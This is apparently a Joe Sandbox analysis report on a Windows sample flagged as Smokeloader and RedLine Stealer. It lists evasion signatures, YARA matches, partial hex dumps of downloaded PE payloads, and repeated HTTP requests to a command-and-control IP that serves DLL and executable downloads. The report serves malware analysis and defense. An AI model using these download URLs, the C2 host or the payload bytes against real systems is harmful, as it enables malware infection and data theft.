Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574196
MD5:	5c682cd7d028b24b4cd0f276f3b50f54
SHA1:	e6e8d03bfd05caff9df36150b7daf6c8a8b799d2
SHA256:	53957b3c63da49c6bfd73328983d398e81c80c74c5d789d2066ff306769f3277
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to detect virtual machines (STR)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

file.exe (PID: 5480 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5C682CD7D028B24B4CD0F276F3B50F54)

WerFault.exe (PID: 4456 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 1728 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2444736465.0000000000D3C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe	ReversingLabs: Detection: 75%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_004035B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B63817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_04B63817

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 02:40:47 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=86Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 02
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 02:40:48 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=85Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 80.82.65.70 80.82.65.70

Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000002.2447244527.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: file.exe, 00000000.00000002.2447244527.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: file.exe, 00000000.00000002.2444801798.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: file.exe, 00000000.00000002.2444801798.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/keylk
Source: file.exe, 00000000.00000003.1917806207.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download3
Source: file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download9
Source: file.exe, 00000000.00000002.2444801798.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download;T
Source: file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadC
Source: file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadI
Source: file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1943694778.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969541757.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1892536527.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1917806207.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadO
Source: file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1943694778.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969541757.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1892536527.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1917806207.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadW
